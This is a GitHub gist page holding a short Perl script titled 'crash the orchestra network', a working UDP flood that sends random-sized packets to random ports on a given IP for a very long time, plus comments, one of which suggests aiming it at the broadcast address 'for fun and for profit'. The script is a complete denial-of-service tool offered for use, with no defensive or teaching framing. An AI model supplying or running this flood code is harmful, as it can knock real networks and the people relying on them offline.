Skip to content

Instantly share code, notes, and snippets.

@davidcoallier
Created December 20, 2011 19:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save davidcoallier/1502874 to your computer and use it in GitHub Desktop.
Save davidcoallier/1502874 to your computer and use it in GitHub Desktop.
crash the orchestra network
#!/usr/bin/perl
##############
# udp flood.
##############
use Socket;
use strict;
my $argc = @ARGV + 1;
if ($argc <= 1) {
print "crash-oio-office.pl <ip>\n\n";
exit(1);
}
my ($ip) = @ARGV;
my ($iaddr,$endtime,$size,$port);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + 1000000;
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Crashing network and attacking $ip directly.\n";
print "Use ctrl+c to stop this hell.\n";
for (;time() <= $endtime;) {
$size = int(rand(1024-64)+64);
$port = int(rand(65500))+1;
send(flood, pack("a$size","poopin"), 0, pack_sockaddr_in($port, $iaddr));
}
@nomicode
Copy link

How does it work?

@nomicode
Copy link

NEVER MIND, I WORKED IT OUT

@nomicode
Copy link

Maybe send to the broadcast address for fun and for profit?

@davidcoallier
Copy link
Author

davidcoallier commented Dec 20, 2011 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment